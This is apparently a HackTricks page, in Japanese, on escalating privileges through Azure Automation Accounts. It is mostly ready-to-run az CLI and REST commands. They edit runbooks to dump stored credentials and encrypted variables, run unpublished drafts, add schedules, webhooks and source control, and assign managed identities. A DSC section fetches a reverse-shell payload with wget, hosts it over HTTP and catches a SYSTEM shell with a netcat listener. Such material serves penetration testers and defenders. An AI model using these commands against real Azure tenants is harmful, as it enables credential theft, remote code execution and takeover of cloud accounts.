Az - Azure Automation Accounts Privesc
Reading time: 15 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Azure Automation Accounts
詳細については、次を確認してください:
ハイブリッドワーカーグループ
- Automation AccountからVMへ
攻撃者がハイブリッドワーカーで任意のランブック(任意のコード)を実行できる場合、彼はVMの場所にピボットします。これは、オンプレミスのマシン、異なるクラウドのVPC、またはAzure VMである可能性があります。
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックはランブックのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティにアクセスできるようになります。
tip
メタデータサービスは、Automation Accountのマネージドアイデンティティトークンを取得するサービスとは異なるURL(http://169.254.169.254
)を持っていることを忘れないでください(IDENTITY_ENDPOINT
)。
- VMからAutomation Accountへ
さらに、誰かがAutomation Accountスクリプトが実行されているVMを侵害した場合、彼はAutomation Accountのメタデータを特定し、VMからアクセスしてAutomation Accountに関連付けられたManaged Identitiesのトークンを取得できるようになります。
次の画像に示すように、VM上で管理者アクセスを持っている場合、プロセスの環境変数の中にAutomation AccountメタデータサービスにアクセスするためのURLとシークレットを見つけることができます:
Microsoft.Automation/automationAccounts/jobs/write
, Microsoft.Automation/automationAccounts/runbooks/draft/write
, Microsoft.Automation/automationAccounts/jobs/output/read
, Microsoft.Automation/automationAccounts/runbooks/publish/action
(Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.Automation/automationAccounts/runbooks/write
)
要約すると、これらの権限はAutomation Account内でRunbooksを作成、変更、実行することを可能にし、これを使用してAutomation Accountのコンテキストでコードを実行し、割り当てられたManaged Identitiesに特権を昇格させ、Automation Accountに保存された資格情報や暗号化された変数**を漏洩させることができます。
権限**Microsoft.Automation/automationAccounts/runbooks/draft/write
**は、Automation Account内のRunbookのコードを変更することを可能にします:
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
前のスクリプトが、Automation Accountに保存されている資格情報のユーザー名とパスワード、および暗号化された変数の値を漏洩させるためにどのように使用できるかに注意してください。
権限**Microsoft.Automation/automationAccounts/runbooks/publish/action
**は、ユーザーがAutomation Account内でRunbookを公開できるようにし、変更が適用されることを許可します。
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
権限 Microsoft.Automation/automationAccounts/jobs/write
は、ユーザーが次の方法でAutomation Account内でRunbookを実行することを許可します:
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
権限 Microsoft.Automation/automationAccounts/jobs/output/read
は、ユーザーが次の方法でAutomation Account内のジョブの出力を読み取ることを許可します:
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
Runbookが作成されていない場合、または新しいRunbookを作成したい場合は、次の権限が必要です。Microsoft.Resources/subscriptions/resourcegroups/read
と Microsoft.Automation/automationAccounts/runbooks/write
を使用して行います。
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
Microsoft.Automation/automationAccounts/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
この権限は、ユーザーが次の方法でAutomation Accountにユーザー管理のIDを割り当てることを許可します:
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
Microsoft.Automation/automationAccounts/schedules/write
, Microsoft.Automation/automationAccounts/jobSchedules/write
権限 Microsoft.Automation/automationAccounts/schedules/write
を使用すると、以下のコマンドを使用して、15分ごとに実行される新しいスケジュールをAutomation Accountに作成することができます(あまりステルスではありません)。
スケジュールの最小間隔は15分であり、最小開始時間は5分先です。
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
その後、Microsoft.Automation/automationAccounts/jobSchedules/write
の権限を持つことで、次のようにしてランブックにスケジューラーを割り当てることができます:
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
tip
前の例では、jobchedule idが**b510808a-8fdc-4509-a115-12cfc3a2ad0d
の例**として残されていましたが、この割り当てを作成するには任意の値を使用する必要があります。
Microsoft.Automation/automationAccounts/webhooks/write
権限**Microsoft.Automation/automationAccounts/webhooks/write
**を使用すると、次のコマンドを使用してAutomation Account内のRunbook用の新しいWebhookを作成することができます。
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
このコマンドは、作成時にのみ表示されるウェブフックURIを返す必要があります。次に、ウェブフックURIを使用してランブックを呼び出します。
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
Microsoft.Automation/automationAccounts/runbooks/draft/write
Microsoft.Automation/automationAccounts/runbooks/draft/write
の権限だけで、Runbookのコードを更新し、公開せずに次のコマンドを使用して実行することが可能です。
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
Microsoft.Automation/automationAccounts/sourceControls/write
, (Microsoft.Automation/automationAccounts/sourceControls/read
)
この権限は、ユーザーが次のようなコマンドを使用してAutomation Accountのソースコントロールを構成することを許可します(これはGithubを例にしています):
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
これにより、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、権限を昇格させることが可能です。
さらに、Automation Accountsでソース管理が機能するためには、**Contributor
の役割を持つマネージドアイデンティティが必要であり、ユーザーマネージドアイデンティティの場合は、MIのクライアントIDを変数AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID
**に指定する必要があります。
tip
作成後にソース管理のリポジトリURLを変更することはできないことに注意してください。
Microsoft.Automation/automationAccounts/variables/write
権限**Microsoft.Automation/automationAccounts/variables/write
**を使用すると、次のコマンドを使用してAutomation Accountに変数を書き込むことができます。
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
カスタムランタイム環境
自動化アカウントがカスタムランタイム環境を使用している場合、ランタイムのカスタムパッケージを悪意のあるコード(バックドアなど)で上書きすることが可能です。この方法では、そのカスタムランタイムを使用するランブックが実行され、カスタムパッケージがロードされるたびに、悪意のあるコードが実行されます。
状態構成の妥協
完全な投稿を確認するには: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe
- ステップ 1 — ファイルの作成
必要なファイル: 2つのPowerShellスクリプトが必要です:
reverse_shell_config.ps1
: ペイロードを取得して実行するDesired State Configuration (DSC)ファイル。これはGitHubから入手可能です。push_reverse_shell_config.ps1
: 構成をVMに公開するためのスクリプトで、GitHubで入手できます。
カスタマイズ: これらのファイル内の変数とパラメータは、リソース名、ファイルパス、サーバー/ペイロード識別子を含むユーザーの特定の環境に合わせて調整する必要があります。
- ステップ 2 — 構成ファイルを圧縮
reverse_shell_config.ps1
は.zip
ファイルに圧縮され、Azureストレージアカウントへの転送の準備が整います。
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
- ステップ 3 — ストレージコンテキストの設定とアップロード
圧縮された構成ファイルは、AzureのSet-AzStorageBlobContent cmdletを使用して、事前定義されたAzure Storageコンテナazure-pentestにアップロードされます。
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
- ステップ 4 — Kali ボックスの準備
Kali サーバーは GitHub リポジトリから RevPS.ps1 ペイロードをダウンロードします。
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
スクリプトは、ターゲットのWindows VMとリバースシェルのポートを指定するように編集されます。
- ステップ 5 — 構成ファイルの公開
構成ファイルが実行され、リバースシェルスクリプトが指定された場所にWindows VMにデプロイされます。
- ステップ 6 — ペイロードのホストとリスナーの設定
ペイロードをホストするためにPythonのSimpleHTTPServerが起動され、受信接続をキャプチャするためのNetcatリスナーが設定されます。
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
スケジュールされたタスクがペイロードを実行し、SYSTEMレベルの特権を達成します。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。